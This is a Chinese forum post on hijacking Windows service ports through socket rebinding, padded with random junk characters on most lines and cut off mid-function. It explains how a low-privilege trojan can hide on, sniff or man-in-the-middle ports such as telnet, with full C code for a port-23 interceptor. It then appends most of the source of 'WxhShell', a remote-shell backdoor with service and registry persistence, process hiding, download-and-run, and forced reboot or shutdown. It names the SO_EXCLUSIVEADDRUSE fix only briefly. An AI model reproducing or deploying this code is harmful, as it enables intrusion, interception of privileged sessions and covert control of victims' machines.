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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *[:CbFE0y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); eAKQR  
h_G Bx|c  
  saddr.sin_family = AF_INET; =2]rA  
.+L_!A  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ds,"E#?  
PFgjWp"Y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lv_%  
} %CbZ/7&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,xe@G)a  
x][9ptr h  
  这意味着什么?意味着可以进行如下的攻击: bTy)0ta>AF  
{^5<{j3e  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q=% C (  
$o$Ev@mi  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) P9mxY*K)%5  
EJ;0ypbG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t,1!`/\  
m-S33PG{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  '[yqi1 &  
$N+ {r=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9_A0:S9Z  
ivUsMhx>S,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K9O,7h:x  
ZDkD%SCy  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 IL[|CB1v  
BXK::M+  
  #include fByh";<`P  
  #include /$Tl#   
  #include zhX`~){N6  
  #include    @+\S!o3m  
  DWORD WINAPI ClientThread(LPVOID lpParam);   c<h!QnJ  
  int main() #u<o EDQ  
  { ~Ri u*<  
  WORD wVersionRequested; M$]O=2h+2  
  DWORD ret; _[{:!?-?  
  WSADATA wsaData; 97]a-)SA  
  BOOL val; Il^ \3T+  
  SOCKADDR_IN saddr; [#>$k 6F*  
  SOCKADDR_IN scaddr; igj={==m  
  int err; ueE?"Hk  
  SOCKET s; A M1C $  
  SOCKET sc; 3b?OW7H  
  int caddsize; |:e|~sism  
  HANDLE mt; eb.cq"C  
  DWORD tid;   %7(kP}y*  
  wVersionRequested = MAKEWORD( 2, 2 ); xf^<ec  
  err = WSAStartup( wVersionRequested, &wsaData ); ?lc[ hH  
  if ( err != 0 ) { NO+ 55n  
  printf("error!WSAStartup failed!\n"); E&];>3C  
  return -1; $['7vcB^  
  } F[7Kw"~J  
  saddr.sin_family = AF_INET; `j}_BW_  
   W) 33;E/}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^)hAVf~E  
kh<pLI>$h  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0j{F^rph  
  saddr.sin_port = htons(23); YH'$_,8peM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?y>Y$-v/C  
  { l- 1]w$ y  
  printf("error!socket failed!\n"); w*<Y$hnBzF  
  return -1; %qS]NC  
  } UK"}}nO@e  
  val = TRUE; jJ*@5?A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 jF38kj3O7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) })o~E  
  { IP30y>\  
  printf("error!setsockopt failed!\n"); f=:3!k,S  
  return -1; >:F,-cx<  
  } 2gd<8a''  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 49+ >f  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9TVB<}0G  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )|w*/JK\Z  
J$#h( D%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %6NO0 F^  
  { gEr4zae  
  ret=GetLastError(); $ ^W-Wmsz  
  printf("error!bind failed!\n"); 0PnD|]9:  
  return -1; 10C 2=  
  } \C]i|]tl  
  listen(s,2); *:=];1 O  
  while(1) hq/J6 M  
  { p= !#],[  
  caddsize = sizeof(scaddr); n?'d|h  
  //接受连接请求 j~M#Ss-H8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "'['(e+7  
  if(sc!=INVALID_SOCKET) `1nRcY  
  { M[ x_#m|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2HcsQ*H] G  
  if(mt==NULL) '5'3_vM  
  { [^<SLTev  
  printf("Thread Creat Failed!\n"); ; D1FAz  
  break; l iw,O 6  
  } N<9w{zIK(  
  } @u,+F0Yd  
  CloseHandle(mt); UM<@t%|>  
  } *5 e<\{!  
  closesocket(s); aiYo8+{!#  
  WSACleanup(); Hw Z^D= A  
  return 0; VsEGX@;tO  
  }   d+tj%7  
  DWORD WINAPI ClientThread(LPVOID lpParam) C1 W>/?XC  
  { +4Q[N;[+*  
  SOCKET ss = (SOCKET)lpParam; GE@uO J6H  
  SOCKET sc; (wife#)~  
  unsigned char buf[4096]; !Q!&CG5l  
  SOCKADDR_IN saddr; ) ]73S@P(=  
  long num; B22b&0  
  DWORD val; sc%dh?m7  
  DWORD ret; kfXS_\@iW1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,(P %z.P@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   D ZVXz|g  
  saddr.sin_family = AF_INET; _ \l HI  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !nwbj21%  
  saddr.sin_port = htons(23); |~eY%LB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GMBJjP&R]  
  { mf}\s]_c  
  printf("error!socket failed!\n"); g92dw<$>  
  return -1; #7o0dE;Kg9  
  } 8'KMxR  
  val = 100; ijF V<P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^#;RLSv   
  { ,ijW(95{k  
  ret = GetLastError(); y:.?5KsPI  
  return -1; "qS!B.rt:  
  } *Rq`*D>:U}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S 6GMUaR  
  { >yKpM }6l{  
  ret = GetLastError(); ~T02._E  
  return -1; HyEa_9  
  } 6 Uw;C84!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) dQ<(lzS~  
  { KaW~ERx5  
  printf("error!socket connect failed!\n"); 7/?DPwbx  
  closesocket(sc); Fj^AW v^/  
  closesocket(ss); 333u]  
  return -1; &dRjqn^&X  
  } hO6RQ0Iv@  
  while(1) \i0-o8q@I  
  { :_Fxy5}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @Dj:4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O: JPJ"!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #h N.=~  
  num = recv(ss,buf,4096,0); W`x)=y]Z  
  if(num>0) C8.W5P[U  
  send(sc,buf,num,0); SKR;wu  
  else if(num==0) q 5p e~  
  break; :tLbFW[  
  num = recv(sc,buf,4096,0); BI.V0@qZ  
  if(num>0) '#H")i  
  send(ss,buf,num,0); ;Iq5|rzDn  
  else if(num==0) 9|=nV|R'6  
  break; kOipH |.x  
  } t77'fm  
  closesocket(ss); ,QvYTJ{  
  closesocket(sc); o1k#."wHr  
  return 0 ; X$V|+lTk  
  } ao$):,2*  
X *O9JGh  
([KN*OF  
========================================================== A(+:S"|@  
E >}q2  
下边附上一个代码,,WXhSHELL \Y e%o}.{  
v`B4(P1Z  
========================================================== lzDdD3Ouc  
5B*qbM  
#include "stdafx.h" c'0 5{C  
nxQ}&n  
#include <stdio.h> G),db%,X2  
#include <string.h> 8lwM{?k$  
#include <windows.h> f xtxu?A>  
#include <winsock2.h> ]:et~pfW  
#include <winsvc.h> H$tb;:  
#include <urlmon.h> (Es{la G  
A[H;WKn0  
#pragma comment (lib, "Ws2_32.lib") v!trsjb  
#pragma comment (lib, "urlmon.lib")  $Nu)E  
5pJ*1pfeo  
#define MAX_USER   100 // 最大客户端连接数 FkB{ SC J  
#define BUF_SOCK   200 // sock buffer ?@UAL .y  
#define KEY_BUFF   255 // 输入 buffer <xlm K(  
c7qwNs*f  
#define REBOOT     0   // 重启 ;|TT(P:d  
#define SHUTDOWN   1   // 关机 ^~l  $&~  
cy1jZ1)  
#define DEF_PORT   5000 // 监听端口 @^? XaU  
io4aYB\  
#define REG_LEN     16   // 注册表键长度 W-D[z#)/Y  
#define SVC_LEN     80   // NT服务名长度 <TxC!{<  
yr{B5z,  
// 从dll定义API 8i: [:Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~E*d G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GZ8:e3ri  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JD~aUB%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nbxR"UH  
VXIQw' Cq  
// wxhshell配置信息 (X}@^]lpa  
struct WSCFG {  U:|H9+5  
  int ws_port;         // 监听端口 &1GUi{I  
  char ws_passstr[REG_LEN]; // 口令 H06Bj(Y!  
  int ws_autoins;       // 安装标记, 1=yes 0=no #J$qa Ul  
  char ws_regname[REG_LEN]; // 注册表键名 `|<+  ?  
  char ws_svcname[REG_LEN]; // 服务名 H?U't 09  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =Od>;|]m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |Td5l?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0YS?=oi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SxMj,u%X/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7& 6Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 np6HUH  
$(q8y/,R*-  
}; l4ouZR  
0ar=cuDm  
// default Wxhshell configuration K t `  
struct WSCFG wscfg={DEF_PORT, \0AiCMX[  
    "xuhuanlingzhe", 7GZq|M_:y  
    1, zk=\lp2  
    "Wxhshell", W9R`A  
    "Wxhshell", 5 09Q0 [k  
            "WxhShell Service", ;NsO  
    "Wrsky Windows CmdShell Service", k dU! kj  
    "Please Input Your Password: ", C6@t  
  1, ,{{SI  
  "http://www.wrsky.com/wxhshell.exe", \*"`L3  
  "Wxhshell.exe" -G b-^G  
    }; e.;M.8N#SQ  
^7u#30,}3~  
// 消息定义模块 K.DXJ UR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )5yj/0oT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Alz~-hqQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )=H{5&e#u  
char *msg_ws_ext="\n\rExit."; 3] 76fF\^[  
char *msg_ws_end="\n\rQuit."; A=`* r*  
char *msg_ws_boot="\n\rReboot..."; PXEKV0y  
char *msg_ws_poff="\n\rShutdown..."; I/s.xk_i  
char *msg_ws_down="\n\rSave to "; I@./${o  
OFy,B-`A{  
char *msg_ws_err="\n\rErr!"; y\[r(4h  
char *msg_ws_ok="\n\rOK!"; Tbh'_ F6  
jA`a/v Wu  
char ExeFile[MAX_PATH]; ;KcFy@ 6q5  
int nUser = 0; ;<-7*}Dj  
HANDLE handles[MAX_USER]; _413\`%8?  
int OsIsNt; "ahvNx;x  
;~/4d-  
SERVICE_STATUS       serviceStatus; nem@sB;v#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PDC]wZd/  
7rIlTrG  
// 函数声明 +,_c/(P  
int Install(void); T[2}p=<%  
int Uninstall(void); _01Px a2.  
int DownloadFile(char *sURL, SOCKET wsh); %#k,6 ;m  
int Boot(int flag); gaeOgP.0  
void HideProc(void); Sdc*rpH"(  
int GetOsVer(void); ")M;+<c"l  
int Wxhshell(SOCKET wsl); IJPgFZ7  
void TalkWithClient(void *cs); detLjlE  
int CmdShell(SOCKET sock); \dV Too  
int StartFromService(void); kaFnw(xa  
int StartWxhshell(LPSTR lpCmdLine); K^H>~`C=  
`C'}e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <]Y[XI(kr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oh\1>3,Ns  
c{>|o  
// 数据结构和表定义 &=zU611,  
SERVICE_TABLE_ENTRY DispatchTable[] = 2Xgx*'t\  
{ o!Fl]3F  
{wscfg.ws_svcname, NTServiceMain}, pULsGb  
{NULL, NULL} ,!>fmU`E4  
}; 0QoLS|voA/  
Mi74Xl i  
// 自我安装 r}EM4\r  
int Install(void) HV\"T(8 9  
{ Cef7+fa  
  char svExeFile[MAX_PATH]; xF8 :^'  
  HKEY key; BKA]G)G7u!  
  strcpy(svExeFile,ExeFile); P<L&c_u  
xG%*PNM0q  
// 如果是win9x系统,修改注册表设为自启动 mP!N<K  
if(!OsIsNt) { U;gp)=JNT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q6&67u0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FpdHnu i1  
  RegCloseKey(key); F< |c4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a#QBy P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `M rBav  
  RegCloseKey(key); + *a7GttU  
  return 0; 4Hd Si  
    } DMMLzS0A  
  } oD,C<[(p  
} 'w6hW7"L  
else { @dV9Dpu  
pqq?*\W&[v  
// 如果是NT以上系统,安装为系统服务 1;`Fe":;vC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~ B]jV$=  
if (schSCManager!=0) ^0Q'./A{&  
{ M.[wKGX(  
  SC_HANDLE schService = CreateService b,Lw7MY}[  
  ( Nt,~b^9  
  schSCManager, _BwKY#09Zp  
  wscfg.ws_svcname, qUg9$oh{LI  
  wscfg.ws_svcdisp, Ky6+~>  
  SERVICE_ALL_ACCESS, D1ZC&B_}-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xgs@gw7!n0  
  SERVICE_AUTO_START, %,;gP.dh7  
  SERVICE_ERROR_NORMAL, * gHCy4u{  
  svExeFile, Yj3*)k  
  NULL, dyl 0]Z  
  NULL, 9A<0zt  
  NULL, ['t8C  
  NULL, 6Pijvx^0  
  NULL m9Il\PoTq  
  ); 1t#XQ?8  
  if (schService!=0) U/5$%0)  
  { e?1KbJ?.  
  CloseServiceHandle(schService); 0V7 _n  
  CloseServiceHandle(schSCManager); 8~qlLa>jc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1b+h>.gWar  
  strcat(svExeFile,wscfg.ws_svcname); x97H(*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g@(4ujOT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,P~QS  
  RegCloseKey(key);  `~h0?g  
  return 0; VH<e))5C  
    } S[sr 'ZW  
  } L5&K}F]r^  
  CloseServiceHandle(schSCManager); :ovt?q8">  
} sy=dY@W^  
} S[ ^nSF  
w -M7opkq  
return 1; d^y86pq.  
} 6qf-Y!D5  
%VS 2M #f  
// 自我卸载 w O89&XZ<  
int Uninstall(void) IE}Sdeqi)  
{ tStJ2-5*t  
  HKEY key; _ }^u-fJ/~  
}Wqtip:L  
if(!OsIsNt) { S NN#$8\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;8uHRcdQ  
  RegDeleteValue(key,wscfg.ws_regname); eZ A6D\  
  RegCloseKey(key); Gj*SPU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qNy-o\;XN  
  RegDeleteValue(key,wscfg.ws_regname); ) u-ns5  
  RegCloseKey(key); C,(j$Id  
  return 0; CxkMhd8qz  
  } Eh:yR J_8  
} sc9]sIb  
} /RMer Xj  
else { n}f3Vrl  
q{[1fE"[K4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [Zh2DNp  
if (schSCManager!=0) aI 7Xq3  
{ ig+k[`W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #U:0/4P(  
  if (schService!=0) =m7CJc  
  { o16d`}/<  
  if(DeleteService(schService)!=0) { oH=4m~'V  
  CloseServiceHandle(schService); y _6r/z^  
  CloseServiceHandle(schSCManager); 'r6cVBb}  
  return 0; s* @QT8%  
  } p0   
  CloseServiceHandle(schService); } !Xf&c{7{  
  } { qjUI  
  CloseServiceHandle(schSCManager); <Nvlk\LQ  
} &&ja|o-  
} *Gf&q  
xNn>+J  
return 1; <. ezw4ju  
} ixg\[5.Q+  
*13g <#$  
// 从指定url下载文件 =P 1RdyP  
int DownloadFile(char *sURL, SOCKET wsh) `Yg7,{A\J  
{ /nwxuy  
  HRESULT hr; iOKr9%9?Z  
char seps[]= "/"; !,I7 ?O  
char *token; SlR7h$r'  
char *file; ',:3>{9  
char myURL[MAX_PATH]; u}^a^B$  
char myFILE[MAX_PATH]; w{RNv%hJ$=  
E*Pz <  
strcpy(myURL,sURL); L00Sp#$\  
  token=strtok(myURL,seps); ;OQ#@|D  
  while(token!=NULL) ,xm;JXJ  
  { ?f(pQy@V  
    file=token; d&O'r[S  
  token=strtok(NULL,seps); 3csm`JVK  
  } Iq^~  
LZgwIMd  
GetCurrentDirectory(MAX_PATH,myFILE); `i"$*4#<  
strcat(myFILE, "\\"); BERn _5gb  
strcat(myFILE, file); Pn~pej5'K  
  send(wsh,myFILE,strlen(myFILE),0); d/"gq}NT  
send(wsh,"...",3,0); Z&AHM &,yj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7qCJ]%)b6  
  if(hr==S_OK)  EGp~Vo-  
return 0; 8<wtf]x  
else e-L5=B  
return 1; oG|?F4l*  
U>e3_td3,  
} Y\ #.EVz  
6ON  
// 系统电源模块 [Q2S3szbt6  
int Boot(int flag) $O;N/N:m  
{ Dme(Knly  
  HANDLE hToken;  }qgqb  
  TOKEN_PRIVILEGES tkp; qat45O4A1  
@d8&3@{R^  
  if(OsIsNt) { .0 R/'!e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gJ)h9e*m^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >S?C {_g  
    tkp.PrivilegeCount = 1;  [%gK^Zt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [[Jv)?jm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l<0[ K(  
if(flag==REBOOT) { Pj1K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qaCi)f!Dl  
  return 0; g:~?U*f-  
} Z~-T0Ab-  
else { #cSw"A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nN_94 ZqS<  
  return 0; ~PU1vbv9T  
} z[0LU]b<  
  } {WM&  
  else { e4>L@7  
if(flag==REBOOT) { !}Woo$#ND  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n]6}yJJo  
  return 0; 110>p  
} @'F8|I 6  
else { %%-U .   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _Vk,&'  
  return 0; 5tgILxSK  
} 7(+OsE  
} ZH`K%h0  
V{AH\IV-  
return 1; tLoD"/z  
} N18diP[C  
]"2 v7)e  
// win9x进程隐藏模块 VFO&)E/-  
void HideProc(void) >zfZw"mEP  
{ >2/wzsW  
c9ov;Bw6S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "M5ro$qZ}  
  if ( hKernel != NULL ) +qSr=Y:+  
  { YjIED,eRv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LBbo.KxAe3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); upEPv .h  
    FreeLibrary(hKernel); "[".3V  
  } iEJQ#5))0  
hI>rtaY_  
return; 3 q.[-.q  
} xJF6l!`  
Q 2SSJ  
// 获取操作系统版本 VT.{[Kl  
int GetOsVer(void) e2Kpx8kWj  
{ "6*Kgf2G  
  OSVERSIONINFO winfo; "e7$q&R |  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0@mX4.!  
  GetVersionEx(&winfo); 2 Zjb/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xn x1`|1u  
  return 1; EfrkB"  
  else sKB-7  
  return 0; !MF"e|W  
} {GH`V}Ob  
,0<F3h  
// 客户端句柄模块 oN6*WN tJ  
int Wxhshell(SOCKET wsl) %6c*dy  
{ j2{,1hj  
  SOCKET wsh; xO9]yULgu  
  struct sockaddr_in client; !Bd* L~D  
  DWORD myID; C+#;L+$Gi  
_]~ht H  
  while(nUser<MAX_USER) ]x(2}h^ S  
{ zs]/Y2  
  int nSize=sizeof(client); 9bcyPN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U37?P7i's  
  if(wsh==INVALID_SOCKET) return 1; l^eNZ3:H  
6q uWO2x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [TfV2j* e  
if(handles[nUser]==0) f$S QhK5`  
  closesocket(wsh); pv?17(w(\  
else uA/.4 b  
  nUser++; 7%"\DLA  
  } !wb~A0m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >LaL! PnZ  
Ccd7|L1  
  return 0; _d=&9d#=\  
} 0) Um W{  
UE#Ni 5  
// 关闭 socket :iNAXy  
void CloseIt(SOCKET wsh) ZYD88kQ  
{ \gzwsT2&  
closesocket(wsh); _Il9s#NA%  
nUser--; ch8w'  
ExitThread(0); tDLk ZCP  
} 1 GHgwT  
[oN> :  
// 客户端请求句柄 2"Uk}Yz|  
void TalkWithClient(void *cs) tD0>(41K  
{ ZO0]+Ko  
P$qkb|D,  
  SOCKET wsh=(SOCKET)cs; MbFe1U]B  
  char pwd[SVC_LEN]; 6'*Uo:]  
  char cmd[KEY_BUFF]; &@iF!D\u  
char chr[1]; dUtIAh-j  
int i,j; (*WZsfk>/<  
<^q"31f  
  while (nUser < MAX_USER) { "PScM9)\  
q.b4m 'J  
if(wscfg.ws_passstr) { >h( rd1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @N_H]6z4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z#t)Z "  
  //ZeroMemory(pwd,KEY_BUFF); )"Br,uIv:/  
      i=0; 'U{: zBh  
  while(i<SVC_LEN) { 59Q Q_#>  
wJR i;fvi  
  // 设置超时 A-Pwi.$  
  fd_set FdRead; nzJi)A./  
  struct timeval TimeOut; mS&\m#s<  
  FD_ZERO(&FdRead); P:-/3  
  FD_SET(wsh,&FdRead); WJ8vHPSM  
  TimeOut.tv_sec=8; kDP^[V P+  
  TimeOut.tv_usec=0; u2O^3r G-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8Y~T$Yj^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gH// TbS  
d#:J\2V"R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y$9 t!cx  
  pwd=chr[0]; G/3lX^Z>  
  if(chr[0]==0xd || chr[0]==0xa) { ]JPPL4wAT  
  pwd=0; `[:1!I.}-  
  break; 5 ^J8<s@_  
  }  KP-z  
  i++; P(nHXVSUE  
    } t}+c/ C%b=  
OSi9J.]O  
  // 如果是非法用户,关闭 socket 7:q-NzE\6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x2c*k$<p  
} %vYlu%c<  
#&c;RPac!6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ayz1i:Q|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  /r@  
p)&\>   
while(1) { D c.WvUM  
@wJa33QT  
  ZeroMemory(cmd,KEY_BUFF); <G?85*Nv_  
3^yWpSC  
      // 自动支持客户端 telnet标准   [y;ZbfMP|o  
  j=0; ?'m5)Z{  
  while(j<KEY_BUFF) { rB|:r\Z(jG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WREGRy  
  cmd[j]=chr[0]; q ? TI,  
  if(chr[0]==0xa || chr[0]==0xd) { Xtnmh)'K~#  
  cmd[j]=0; #f;1f8yrN  
  break; zn$ Ld,  
  } i j;'4GzQL  
  j++; >M85xjXP  
    } '6J$X-  
u`,R0=<4  
  // 下载文件 usf(U>  
  if(strstr(cmd,"http://")) { F4(U~n<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~M1%,]  
  if(DownloadFile(cmd,wsh)) c}s3c >`d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %~XJwy-  
  else t1s@Ub5);I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iGNKf|8{  
  } LOkDx2@g  
  else { |noTIAI  
}kefrT  
    switch(cmd[0]) { y N%Pe:R  
  UpBYL?+L  
  // 帮助 O4mWsr  
  case '?': { IQY#EyTb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); baGI(Dk  
    break; Ggjb86v\  
  } o7B+f  
  // 安装 B%;+8]  
  case 'i': { 5X|aa>/  
    if(Install()) MRu+:Y=K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XaSl6CH  
    else G&Sg .<hn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =5F49  
    break; :7*\|2zA  
    } Np_6ZUaqz  
  // 卸载 -ZJ:<  
  case 'r': { l).Ijl}AH;  
    if(Uninstall()) izA3INT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V^5 t~)#46  
    else %)]RM/e8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #}?$mxME*  
    break; _~"3 LB  
    } |3@]5f&  
  // 显示 wxhshell 所在路径 )BDi2: u  
  case 'p': { _bsfM;u.%  
    char svExeFile[MAX_PATH]; 9rz"@LM  
    strcpy(svExeFile,"\n\r"); hG)lVo!L4j  
      strcat(svExeFile,ExeFile); j+seJg<_  
        send(wsh,svExeFile,strlen(svExeFile),0); Kz;VAH  
    break; SNFz#*  
    } ['<rfK  
  // 重启 iqYc&}k,  
  case 'b': { <u\G&cd_tA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yKJp37R  
    if(Boot(REBOOT)) S/aPYrk>6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |n/id(R+  
    else { 8%B @[YDe  
    closesocket(wsh); kPe9G  
    ExitThread(0); @hv] [(<  
    } b%F*Nr  
    break; !)]3 @$#  
    } 6dp~19T^  
  // 关机 &gfQZxT  
  case 'd': { 8wd2\J,]  
